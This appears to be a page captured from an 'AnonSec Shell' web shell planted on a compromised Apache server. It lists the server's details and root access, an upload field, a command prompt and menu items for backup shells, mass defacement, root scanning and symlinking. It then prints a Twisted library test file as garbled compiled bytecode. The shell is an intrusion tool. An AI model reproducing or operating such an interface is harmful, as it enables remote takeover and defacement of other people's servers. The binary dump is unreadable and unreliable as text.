AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/application/twist/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/application/twist/test/__pycache__/test_twist.cpython-310.pyc
o

�b��@s�dZddlmZddlmZmZmZddlZddl	m
Z
ddlmZm
Z
ddlmZddlmZd	d
lmZd	dlmZd	dlmZd	d
lmZmZd	dlmZddlmZddlmZGdd�dej j!j"�Z#Gdd�dej j!j"�Z$dS)z0
Tests for L{twisted.application.twist._twist}.
�)�stdout)�Any�Dict�ListN)�IReactorCore)�LogLevel�jsonFileLogObserver)�
MemoryReactor)�SignalCapturingMemoryReactor�)�
ExitStatus)�Runner)�	DummyExit)�IService�MultiService)�_twist�)�TwistOptions)�Twistc@steZdZdZddd�Zddd�Zddd	�Zdd
d�Zddd
�Zddd�Z	ddd�Z
ddd�Zddd�Zddd�Z
dS)�
TwistTestsz
    Tests for L{Twist}.
    �returnNcCs|��dS�N)�patchInstallReactor��self�r�K/usr/lib/python3/dist-packages/twisted/application/twist/test/test_twist.py�setUpszTwistTests.setUpcCst�|_|�td|j�dS)zX
        Patch L{_twist.exit} so we can capture usage and prevent actual exits.
        �exitN)rr�patchrrrrr�	patchExit!szTwistTests.patchExitcs2i�_dtdtdtf�fdd�}��td|�dS)zo
        Patch C{_options.installReactor} so we can capture usage and prevent
        actual installs.
        �_�namercst�}|�j|<|Sr)r	�installedReactors)r!r"�reactorrrr�installReactor/s
z6TwistTests.patchInstallReactor.<locals>.installReactorr%N)r#r�strrr)rr%rrrr(szTwistTests.patchInstallReactorcs.g�_dtddf�fdd�}��td|�dS)zo
        Patch L{MultiService.startService} so we can capture usage and prevent
        actual starts.
        �servicerNcs�j�|�dSr)�
serviceStarts�append)r'rrr�startService=sz2TwistTests.patchStartService.<locals>.startServicer*)r(rrr)rr*rrr�patchStartService6szTwistTests.patchStartServicecCst�ddg�}|�|t�dS)zI
        L{Twist.options} given valid arguments returns options.
        �twist�webN)r�options�assertIsInstancer)rr.rrr�test_optionsValidArgumentsBsz%TwistTests.test_optionsValidArgumentscCsj|��t�ddg�|�|jjtj�|�|jj	�|�
|jj	�d��|�
|jj	�dt
�����dS)z�
        L{Twist.options} given invalid arguments exits with
        L{ExitStatus.EX_USAGE} and an error/usage message.
        r,z--bogus-bagelszError: z

N)r rr.�assertIdenticalr�statusr�EX_USAGE�assertIsNotNone�message�
assertTrue�
startswith�endswithrrrrr�test_optionsInvalidArgumentsJs�
��z'TwistTests.test_optionsInvalidArgumentscCs6t�ddg�}t�|jd|j�}|�t�|��dS)z:
        L{Twist.service} returns an L{IService}.
        r,r-N)rr.r'�plugins�
subOptionsr6r�
providedBy)rr.r'rrr�test_service^szTwistTests.test_servicecCs�t�ddg�}|d}|j}|dusJ�tj|j||jd�}|��t�||�|�|j	|g�|�|j
dd|jdifg�dS)	z�
        L{Twist.startService} starts the service and registers a trigger to
        stop the service when the reactor shuts down.
        r,r-r$N)�pluginr.�before�shutdownr)rr.�
subCommandr'r:r;r+r*�assertEqualr(�triggers�stopService)rr.r$rAr'rrr�test_startServicefs��zTwistTests.test_startServicec	s|g�|�td�fdd��|�tddd��t�gd��}t�|�|�t��d�|��dt|jd	t	j
ttd
��dS)zi
        L{Twist.run} runs the runner with arguments corresponding to the given
        options.
        �__init__cs
��|�Sr)r))r�args��argsSeenrr�<lambda>�s
z%TwistTests.test_run.<locals>.<lambda>�runcSsdSrrrrrrrJ���r,z--reactor=defaultz--log-format=jsonr-�r�default�r$�defaultLogLevel�logFile�fileLogObserverFactoryN)
rr
rr.rKrB�len�dictr#r�inforr)r�twistOptionsrrHr�test_run~s"�
��zTwistTests.test_runc	s�|��g�G�fdd�d�}|�td|�t�gd��|�t|j�d�|�t��d�|��djt	|j
dtjt
td��|��djd�dS)	zy
        L{Twist.main} runs the runner with arguments corresponding to the given
        command line arguments.
        cs,eZdZdeddf�fdd�Zddd�ZdS)	z$TwistTests.test_main.<locals>.Runner�kwargsrNcs||_d|_��|�dS)Nr)rG�runsr))rrY��runnersrrrF�sz-TwistTests.test_main.<locals>.Runner.__init__cSs|jd7_dS)NrN)rZrrrrrK�sz(TwistTests.test_main.<locals>.Runner.run�rN)�__name__�
__module__�__qualname__rrFrKrr[rrr
�sr
rMrNrrOrPN)r+rrr�mainrBrTr(rGrUr#rrVrrrZ)rr
rr[r�	test_main�s"	��	zTwistTests.test_mainr])r^r_r`�__doc__rr rr+r0r9r=rErXrbrrrrrs








rc@s8eZdZdZddd�Zddd�Zddd	�Zdd
d�ZdS)
�TwistExitTestszr
    Tests to verify that the Twist script takes the expected actions related
    to signals and the reactor.
    rNcsNd�_dtddf�fdd�}��td|�dtddfdd	�}��td
|�dS)NF�sigrcs
d�_dS)z�
            Fake to capture whether L{twisted.application._exitWithSignal
            was called.

            @param sig: Signal value
            @type sig: C{int}
            TN)�exitWithSignalCalled)rerrr�fakeExitWithSignal�s
z0TwistExitTests.setUp.<locals>.fakeExitWithSignal�_exitWithSignalr!cSsdS)z�
            Prevent Runner from adding new log observers or other
            tests outside this module will fail.

            @param _: Unused self param
            Nr)r!rrr�startLogging�rLz*TwistExitTests.setUp.<locals>.startLoggingri)rf�intrrr
)rrgrirrrr�s

zTwistExitTests.setUpcCs<t�}d|_t�}||d<t|d<t�|�|�|j�dS)zg
        _exitWithSignal is not called if the reactor's _exitSignal attribute
        is zero.
        Nr$rS)r
�_exitSignalrrrrK�assertFalserf�rr$r.rrr�%test_twistReactorDoesntExitWithSignal�s
z4TwistExitTests.test_twistReactorDoesntExitWithSignalcCs6t�}t�}||d<t|d<t�|�|�|j�dS)z�
        _exitWithSignal is not called if the runner's reactor does not
        implement L{twisted.internet.interfaces._ISupportsExitSignalCapturing}
        r$rSN)r	rrrrKrlrfrmrrr�$test_twistReactorHasNoExitSignalAttr�s
z3TwistExitTests.test_twistReactorHasNoExitSignalAttrcCs<t�}d|_t�}||d<t|d<t�|�|�|j�dS)zb
        _exitWithSignal is called if the runner's reactor exits due
        to a signal.
        rr$rSN)r
rkrrrrKr6rfrmrrr� test_twistReactorExitsWithSignal�s
z/TwistExitTests.test_twistReactorExitsWithSignalr])r^r_r`rcrrnrorprrrrrd�s


rd)%rc�sysr�typingrrr�twisted.trial.unittest�twisted�twisted.internet.interfacesr�twisted.loggerrr�twisted.test.proto_helpersr	�twisted.test.test_twistdr
�runner._exitr�runner._runnerr
�runner.test.test_runnerrr'rrr,r�_optionsrr�trial�unittest�TestCaserrdrrrr�<module>s$$

Anon7 - 2022
AnonSec Team